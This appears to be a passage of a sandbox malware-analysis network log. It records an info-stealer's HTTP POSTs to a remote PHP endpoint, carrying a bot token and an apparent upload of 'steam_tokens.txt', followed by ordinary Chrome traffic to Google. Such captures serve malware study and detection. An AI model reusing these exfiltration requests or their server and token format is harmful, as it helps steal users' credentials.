Oct 29, 2024 04:52:35.845798016 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 2d 2d 0d 0a Data Ascii: ------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="message"files------EHJKJDGCGDAKFHIDBGCB--
Oct 29, 2024 04:52:36.137622118 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:52:36.149933100 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="file"------GCGHCBKFCFBFHIDHDBFC--
Oct 29, 2024 04:52:36.926681042 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:52:36.952529907 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="message"ybncbhylepme------GIJJKKJJDAAAAAKFHJJD--
Oct 29, 2024 04:52:37.238105059 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:52:37.239379883 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJEGDBGDBFIJKECBAKFB--
Oct 29, 2024 04:52:38.019890070 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	172.217.16.196	443	7904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:15 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 03:52:15 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:15 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-p86F8qyOQ765b00AJMSA1w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 03:52:15 UTC	112	IN	Data Raw: 63 37 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 62 6c 61 63 6b 20 6f 70 73 20 6c 69 62 65 72 74 79 20 66 61 6c 6c 73 20 65 61 73 74 65 72 20 65 67 67 22 2c 22 70 65 70 73 69 63 6f 20 6c 61 79 6f 66 66 73 20 63 68 69 63 61 67 6f 22 2c 22 6e 61 73 63 61 72 20 72 61 63 65 22 2c 22 6e 6f 72 74 68 65 72 6e 20 6c 69 67 68 74 73 20 61 75 72 Data Ascii: c71)]}'["",["black ops liberty falls easter egg","pepsico layoffs chicago","nascar race","northern lights aur
2024-10-29 03:52:15 UTC	1378	IN	Data Raw: 6f 72 61 20 66 6f 72 65 63 61 73 74 22 2c 22 73 70 6f 6f 6b 79 20 63 68 65 73 73 20 64 65 63 6b 73 22 2c 22 6e 76 69 64 69 61 20 73 74 6f 63 6b 22 2c 22 63 68 69 63 61 67 6f 20 62 6c 61 63 6b 68 61 77 6b 73 22 2c 22 64 69 77 61 6c 69 20 66 65 73 74 69 76 61 6c 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b 7b Data Ascii: ora forecast","spooky chess decks","nvidia stock","chicago blackhawks","diwali festival"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{
2024-10-29 03:52:15 UTC	1378	IN	Data Raw: 54 46 68 56 5a 31 4e 52 4d 6b 70 32 53 56 45 79 65 6a 59 33 4b 33 63 72 4c 32 4e 42 5a 6e 4a 43 53 6c 52 46 4e 56 42 36 51 6a 68 6f 64 6e 59 35 4d 33 4a 4f 4f 48 6f 33 61 31 68 6e 4b 30 64 78 61 46 46 50 4e 56 6c 44 4e 46 56 44 53 56 4e 44 64 48 64 47 5a 30 35 6f 55 79 74 61 63 7a 46 49 65 6b 52 72 54 47 77 79 4d 54 49 33 62 6b 31 4a 59 6d 77 76 51 6d 38 72 56 53 39 49 57 6a 6c 32 53 54 68 5a 5a 45 5a 34 62 45 4e 75 4d 48 6c 52 4d 44 6c 6b 53 48 4a 4a 63 45 35 6f 59 7a 64 59 5a 6e 5a 4a 53 57 5a 6f 4e 6b 4a 79 51 30 35 49 51 56 5a 54 4e 55 67 79 55 6b 68 50 65 45 68 46 62 6b 6f 35 53 56 6c 44 54 57 5a 5a 65 45 64 69 52 6b 31 49 62 6d 39 4f 53 30 6f 30 4f 44 64 33 54 55 35 33 51 57 51 35 4e 6d 52 59 65 55 4a 4d 62 46 46 7a 63 47 74 4f 64 56 42 4d 4d 55 74 Data Ascii: TFhVZ1NRMkp2SVEyejY3K3crL2NBZnJCSlRFNVB6QjhodnY5M3JOOHo3a1hnK0dxaFFPNVlDNFVDSVNDdHdGZ05oUytaczFIekRrTGwyMTI3bk1JYmwvQm8rVS9IWjl2SThZZEZ4bENuMHlRMDlkSHJJcE5oYzdYZnZJSWZoNkJyQ05IQVZTNUgyUkhPeEhFbko5SVlDTWZZeEdiRk1Ibm9OS0o0ODd3TU53QWQ5NmRYeUJMbFFzcGtOdVBMMUt
2024-10-29 03:52:15 UTC	324	IN	Data Raw: 52 75 4e 7a 4d 33 5a 58 5a 35 55 58 4e 4d 65 46 4d 32 51 56 67 79 4d 31 42 30 56 6a 68 51 4d 58 70 4d 4d 54 51 7a 5a 58 4a 31 64 7a 46 44 4d 45 74 77 4f 54 4e 61 54 46 68 31 59 57 78 35 63 56 70 52 63 56 52 68 55 54 49 35 51 31 42 75 54 47 64 68 5a 30 4d 78 52 45 30 76 55 46 51 32 4e 32 4d 34 4c 31 64 35 61 57 52 5a 53 32 68 4f 63 30 78 4d 4b 7a 46 6d 64 6d 70 36 54 48 4e 6b 63 6c 56 6e 53 57 64 73 53 6c 4e 54 52 7a 5a 74 4e 47 73 72 4e 43 74 49 54 55 39 4e 4c 30 55 76 65 45 74 6c 53 45 56 6a 4f 55 56 6d 56 6a 63 32 54 45 68 30 65 54 68 72 63 30 63 77 4d 47 64 71 5a 32 4a 30 54 6a 68 48 64 6d 78 4f 52 6c 42 51 57 6b 4e 32 52 47 31 79 52 6e 41 78 55 48 42 69 5a 6b 55 7a 61 57 78 6a 55 46 56 46 4e 45 70 48 52 58 56 4d 51 30 70 72 63 56 68 6a 59 31 56 76 53 Data Ascii: RuNzM3ZXZ5UXNMeFM2QVgyM1B0VjhQMXpMMTQzZXJ1dzFDMEtwOTNaTFh1YWx5cVpRcVRhUTI5Q1BuTGdhZ0MxRE0vUFQ2N2M4L1d5aWRZS2hOc0xMKzFmdmp6THNkclVnSWdsSlNTRzZtNGsrNCtITU9NL0UveEtlSEVjOUVmVjc2TEh0eThrc0cwMGdqZ2J0TjhHdmxORlBQWkN2RG1yRnAxUHBiZkUzaWxjUFVFNEpHRXVMQ0prcVhjY1VvS
2024-10-29 03:52:15 UTC	88	IN	Data Raw: 35 32 0d 0a 61 31 4e 33 4f 55 55 79 55 56 56 48 51 7a 4a 42 4d 6b 6b 7a 4e 45 4a 43 64 33 42 77 51 6d 46 72 64 79 39 4d 54 43 73 30 64 6d 67 35 4c 32 52 49 61 6c 4e 56 4d 32 4a 4e 4d 57 45 76 59 6e 64 72 53 44 56 33 5a 45 4d 32 4d 32 55 35 61 6d 64 72 64 58 0d 0a Data Ascii: 52a1N3OUUyUVVHQzJBMkkzNEJCd3BwQmFrdy9MTCs0dmg5L2RIalNVM2JNMWEvYndrSDV3ZEM2M2U5amdrdX
2024-10-29 03:52:15 UTC	1378	IN	Data Raw: 37 37 30 0d 0a 70 32 4d 58 56 4e 54 58 68 48 56 32 56 33 51 6d 78 36 5a 45 74 4b 61 45 6c 34 52 56 56 35 4d 45 68 52 63 54 52 6d 56 31 4a 33 63 44 56 4d 52 6b 4e 50 63 6e 5a 57 63 47 59 7a 61 57 73 79 64 45 39 57 4d 44 64 47 4d 55 4e 4d 55 57 5a 6a 56 30 5a 74 53 6e 46 76 61 6c 4e 57 64 30 4a 70 59 31 4e 36 61 44 46 6d 56 6b 63 33 4d 58 63 31 5a 58 64 7a 51 6a 52 52 56 56 4a 6b 5a 7a 6c 57 51 6e 52 51 52 47 39 46 51 57 35 58 4d 33 56 36 63 30 35 76 63 45 35 5a 4d 30 35 68 63 58 5a 46 64 45 46 56 64 6e 42 52 65 54 46 6e 56 54 5a 59 61 56 63 77 55 6b 31 36 61 56 56 55 55 33 70 4e 54 58 70 5a 51 32 78 52 4d 45 4e 34 53 47 34 77 63 33 6c 35 61 6b 51 35 4b 79 39 59 4d 57 78 6c 5a 7a 4a 70 61 48 46 34 64 58 46 72 61 45 52 76 55 32 68 4b 63 58 4d 76 53 6b 64 5a Data Ascii: 770p2MXVNTXhHV2V3Qmx6ZEtKaEl4RVV5MEhRcTRmV1J3cDVMRkNPcnZWcGYzaWsydE9WMDdGMUNMUWZjV0ZtSnFvalNWd0JpY1N6aDFmVkc3MXc1ZXdzQjRRVVJkZzlWQnRQRG9FQW5XM3V6c05vcE5ZM05hcXZFdEFVdnBReTFnVTZYaVcwUk16aVVUU3pNTXpZQ2xRMEN4SG4wc3l5akQ5Ky9YMWxlZzJpaHF4dXFraERvU2hKcXMvSkdZ
2024-10-29 03:52:15 UTC	533	IN	Data Raw: 6c 62 6d 45 33 54 6a 4a 73 62 56 6c 30 56 56 70 6e 53 6d 5a 4f 53 30 64 57 65 54 42 51 4d 33 56 6e 57 48 4e 49 62 48 70 33 56 44 64 7a 64 33 49 7a 59 31 6f 32 53 43 39 45 4e 32 64 4d 56 31 42 59 61 32 31 57 51 6d 52 42 51 55 46 42 51 55 56 73 52 6c 52 72 55 33 56 52 62 55 4e 44 4f 68 4a 44 61 47 6c 6a 59 57 64 76 49 45 4a 73 59 57 4e 72 61 47 46 33 61 33 4e 4b 42 79 4e 68 4d 6a 5a 69 4d 44 42 53 50 57 64 7a 58 33 4e 7a 63 44 31 6c 53 6e 70 71 4e 48 52 45 55 44 46 55 5a 6b 6c 35 63 33 5a 4b 54 6c 64 45 4d 45 56 72 63 6b 39 35 52 58 68 50 56 45 30 35 57 46 4e 4e 63 45 70 55 54 54 64 50 55 30 4e 36 55 45 78 6e 57 55 46 73 53 6d 64 4c 56 6c 46 77 42 33 41 58 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c Data Ascii: lbmE3TjJsbVl0VVpnSmZOS0dWeTBQM3VnWHNIbHp3VDdzd3IzY1o2SC9EN2dMV1BYa21WQmRBQUFBQUVsRlRrU3VRbUNDOhJDaGljYWdvIEJsYWNraGF3a3NKByNhMjZiMDBSPWdzX3NzcD1lSnpqNHREUDFUZkl5c3ZKTldEMEVrck95RXhPVE05WFNNcEpUTTdPU0N6UExnWUFsSmdLVlFwB3AX","zl":10002},{"zl":10002}],"googl
2024-10-29 03:52:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	172.217.16.196	443	7904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:15 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 03:52:16 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 03:52:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 03:52:16 UTC	336	IN	Data Raw: 31 63 34 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1c42)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-29 03:52:16 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-29 03:52:16 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-29 03:52:16 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
